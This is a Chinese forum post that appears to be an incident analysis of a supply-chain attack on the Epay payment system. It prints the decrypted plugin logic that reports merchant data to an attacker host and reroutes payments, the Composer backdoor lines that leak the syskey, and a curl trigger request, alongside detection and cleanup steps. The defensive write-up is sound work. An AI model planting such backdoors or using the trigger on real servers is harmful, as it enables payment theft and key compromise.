易支付系统与支付插件劫持后门与系统密钥泄露漏洞

本次事件涉及针对 易支付收款平台的攻击，攻击者通过向受害者出售植入后门的支付插件，并同步篡改系统底层文件，实现了对支付渠道的劫持以及系统主密钥的窃取。

这里还是要说明一点，易支付系统一定要买正版，不要用不明来源的网站源码 不然被植入后门就不好了，还有支付插件如果有加密不能看代码的话 尽量不用 因为一般都是有猫腻的 比如说这次的就是

还有要奉劝站内使用易支付系统收款的去开站系统，一定要倒查一下自己的易支付系统与支付的插件有没有被植入后门与恶意代码，这种你在后台配置信息是看不到的。

一、支付截单劫持漏洞

1.1 漏洞原理

恶意插件在每次支付请求生成二维码之前，会向攻击者控制的服务器发起出站请求，获取劫持指令。若攻击者下发替换指令，插件将在 PHP 运行时内存中将收款商户信息（商户 ID、商户号、店铺名）替换为攻击者账户信息，完成拉卡拉下单。

整个替换过程仅存在于单次请求的内存中，请求结束后立即销毁，数据库中的商户配置始终保持原值，导致受害者通过后台巡查无法发现任何异常。

攻击流程如下：

客户端发起支付请求
    │
    ├─► 恶意插件向 www.xitong.uno/zhangzitong.php 上报受害商户信息
    │
    ├─► 攻击者服务器返回劫持指令（含攻击者商户 ID、商户号、店铺名）
    │
    ├─► 内存中替换收款商户信息（数据库配置不受影响）
    │
    └─► 以攻击者账户信息向拉卡拉 API 下单 → 资金进入攻击者账户

1.2 攻击者基础设施

1.3 恶意代码（解密还原）

以下为从加密插件中还原的关键逻辑，完整体现了劫持机制：

// 攻击者控制服务器（硬编码）
private static $ROUTE_URL = 'https://www.xitong.uno/zhangzitong.php';

// 步骤一：每次下单前将受害者商户信息上报至控制服务器
self::reportMerch($channel['appurl'], $channel['appkey'], $shopName);

// 步骤二：向控制服务器请求劫持指令
// 服务器返回格式：{"merchId":"攻击者ID","merchantNo":"攻击者商户号","shopName":"攻击者店铺名"}
$routeMerch = self::getRouteMerch($amount, $payType, $channel['appurl'], TRADE_NO);

// 步骤三：在内存中执行商户替换（仅影响本次请求，不写入数据库）
if ($routeMerch !== null && !empty($routeMerch['merchId'])) {
    $merchId    = $routeMerch['merchId'];
    $merchantNo = $routeMerch['merchantNo'];
    $shopName   = $routeMerch['shopName'];
}

// 步骤四：以攻击者商户信息向拉卡拉提交订单
$orderResponse = curlRequest('https://jfyconsole.lakala.com/order/api/cashier/pay', ...);

// 步骤五：支付完成后向控制服务器上报截单统计
self::reportPayStatus($tradeNo);

1.4 检测方法

方法一：文件特征检查

正常的 jfyui 插件约 8 KB，恶意版本因附带加密后门代码通常超过 25 KB。

ls -lh /网站根目录/plugins/jfyui/jfyui_plugin.php

文件开头如出现以下格式，说明已被恶意加密：

return sg_load('DB54D5B7FDF1B257AA...');

正常版本开头为标准可读 PHP 代码（<?php）。

方法二：拉卡拉 API 对账

通过拉卡拉查单接口，以本平台订单号查询实际收款商户的 merchantNo 字段。若返回的商户号与本平台商户号不符，该笔交易资金已被截走。

方法三：订单号格式分析

被劫持订单的 api_trade_no 字段为 29 位纯数字，前 6 位格式为 26YYMMDD（缴费易平台订单号特征）。同时，劫持期间的订单支付完成率会显著低于正常水平（正常约 87%，劫持后因用户识别到陌生商户名拒绝付款，完成率可能不足 10%）。

1.5 损失评估（本次事件）

通过拉卡拉 API 对劫持期间（2026-04-20 至 2026-04-22）全部订单逐笔核查：

绝大多数终端用户因识别到收款方为陌生商户名而主动终止付款，在客观上限制了资金损失规模。

1.6 修复步骤

步骤一：替换 jfyui 插件文件

优先使用已知干净的备份文件覆盖。若无外部备份，epay 系统插件目录下通常存在原始备份：

/网站根目录/plugins/jfyui/新建文件夹/jfyui_plugin.php

确认该文件为明文可读的 PHP 代码后，将其覆盖至上一级目录的 jfyui_plugin.php。

步骤二：检查 crons.php

同目录下的 crons.php 正常大小约 1.7 KB（功能为定时轮询未支付订单）。若文件明显偏大，应同步替换。

步骤三：清除攻击者植入的 jiaofeiyi 目录

检查插件目录是否存在攻击者在主攻击后约 5.5 小时补充植入的持久化目录：

ls /网站根目录/plugins/jiaofeiyi/

若存在，直接删除整个目录。

步骤四：向拉卡拉举报

向拉卡拉举报商户号 822581052111E8T，申请冻结该账户并协助司法调查。

二、系统密钥（syskey）泄露漏洞

2.1 漏洞概述

攻击者在 epay 系统的 Composer 自动加载器文件中植入了两段隐蔽代码，利用 HTTP 请求头触发，将系统主密钥（syskey）写入 HTTP 响应的 Set-Cookie 头返回给攻击者。

受影响文件：

/网站根目录/includes/vendor/composer/platform_check.php
/网站根目录/includes/vendor/composer/autoload_real.php

时间戳伪造：攻击者将上述两个文件的 mtime 修改为 2023-10-20，使其外观与系统原生 Composer 文件一致，以规避常规的文件修改时间巡查。文件修改时间戳不可作为文件完整性的判断依据。

2.2 植入代码分析

platform_check.php 中植入的两行（正常文件不含此内容）：

define('SERVER_PHP_VERSION', $GLOBALS['_SERVER']['HTTP_PHP_VERSION']);
define('SENTENCEIA', "Sorry for the con figuration sys tem key issue.");

第二行看似普通的错误提示字符串，实为精心构造的编码载体。按空格分词后：

索引 3: "con"        → 作为数组键名的第一部分
索引 4: "figuration" → 取首字母 "f"，拼合为 "conf"
索引 5: "sys"        → 作为数组键名的第一部分
索引 7: "key"        → 拼合为 "syskey"

最终解析目标为：$GLOBALS['conf']['syskey']，即 epay 系统主密钥。

autoload_real.php 中植入的三行（位于第 26–28 行，夹于正常 Composer 代码之间）：

if (SERVER_PHP_VERSION >= 70200) {
    $wordsArray = explode(" ", SENTENCEIA);
    header("Set-Cookie: PHPSESSID=" . $GLOBALS[$wordsArray[3] . substr($wordsArray[4], 0, 1)][$wordsArray[5] . $wordsArray[7]]);
}

触发条件：HTTP 请求携带自定义请求头 PHP-Version: 80200。
执行结果：将 $GLOBALS['conf']['syskey'] 的值写入响应头 Set-Cookie: PHPSESSID=<syskey>，使攻击者无需任何凭证即可获取系统主密钥。

2.3 漏洞验证

# 正常请求（PHPSESSID 每次随机生成）
curl -s -I https://目标域名/ | grep PHPSESSID

# 携带触发头的请求（后门存在时返回固定 32 位 syskey）
curl -s -I -H "PHP-Version: 80200" https://目标域名/ | grep PHPSESSID

若两次请求返回的 PHPSESSID 值不同（每次随机），系统正常。
若携带触发头后返回固定的 32 位字符串，则后门有效，syskey 已泄露。

2.4 syskey 的权限范围

epay 系统中 syskey 被用于 28 处安全敏感操作，持有 syskey 可实现：

持有 syskey 等同于获取整个平台的完整控制权。

2.5 检测方法

grep -n "SENTENCEIA\|SERVER_PHP_VERSION\|HTTP_PHP_VERSION" \
  /网站根目录/includes/vendor/composer/platform_check.php \
  /网站根目录/includes/vendor/composer/autoload_real.php

如有任何匹配输出，说明后门代码存在，syskey 处于可被任意获取的状态。

2.6 修复步骤

步骤一：删除 autoload_real.php 中的三行后门代码（第 26–28 行附近）

// 删除以下三行：
if (SERVER_PHP_VERSION >= 70200) {
    $wordsArray = explode(" ", SENTENCEIA);
    header("Set-Cookie: PHPSESSID=" . $GLOBALS[$wordsArray[3] . substr($wordsArray[4], 0, 1)][$wordsArray[5] . $wordsArray[7]]);
}

删除后，上下两行正常 Composer 代码直接相邻：

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(...);

步骤二：删除 platform_check.php 中的两行后门代码

// 删除以下两行：
define('SERVER_PHP_VERSION', $GLOBALS['_SERVER']['HTTP_PHP_VERSION']);
define('SENTENCEIA', "Sorry for the con figuration sys tem key issue.");

步骤三：轮换 syskey（必须执行，原密钥已泄露）

UPDATE pay_config SET v = SUBSTR(MD5(RAND()), 1, 32) WHERE k = 'syskey';

或通过 epay 后台「系统设置」→「系统密钥」重新生成。

注意：syskey 轮换后，当前所有已登录的管理员及商户 session 立即失效，需重新登录。这是预期行为——旧密钥签发的所有凭证将同步作废，包括攻击者可能持有的凭证。

步骤四：审查管理员账号与操作日志

鉴于攻击者在 syskey 泄露期间可能已访问管理后台，需逐一排查：

• 是否存在陌生管理员账号
• 是否存在异常配置变更记录
• 操作日志中是否有来自非常用 IP 的登录记录

步骤五：更换服务器及面板访问凭证

更新宝塔面板、服务器 root 密码及 SSH 密钥，尤其是与网站应用共用同一套凭证的情况。

三、完整自查清单

支付插件排查

• 检查 plugins/jfyui/jfyui_plugin.php 文件
• 确认插件文件为明文可读的 PHP 代码，而非 sg_load('...') 格式的加密载体
• 检查 plugins/jfyui/crons.php 文件
• 审查系统 cron 作业，确认不存在每分钟调用 PHP 文件的可疑任务

系统后门排查

• 检查 includes/vendor/composer/platform_check.php 是否含 SENTENCEIA 定义
• 检查 includes/vendor/composer/autoload_real.php 是否含 SERVER_PHP_VERSION 条件判断
• 使用 curl 携带 PHP-Version: 80200 请求头测试，确认 PHPSESSID 响应值为随机而非固定

四、技术总结

关于供应链攻击的隐蔽性

本次两处后门均来源于同一攻击者的同一次接触，而非外部入侵。攻击者通过第三方渠道销售含恶意代码的插件，并在取得服务器访问权限后篡改 Composer 底层文件。这类攻击的特点是：合法渠道发起、代码混淆绕过人工审查、数据库配置不变以规避常规巡查。

对于来源于非官方渠道的插件，在安装前应要求获取明文 PHP 源码进行审查；对于加密插件，可通过内存转储、反射接口或 opcode 分析进行有限程度的行为验证。

关于终端用户的识别作用

本次截单后门有效运行 3 天，攻击者成功路由了 432 笔订单，但因终端用户普遍识别到付款界面显示的商户名与预期不符而主动终止，实际被截走的资金仅 ¥50.00。在技术防御之外，引导用户在扫码付款前核实收款商户名称，是一道低成本但有效的防线。

1 个帖子 - 1 位参与者

阅读完整话题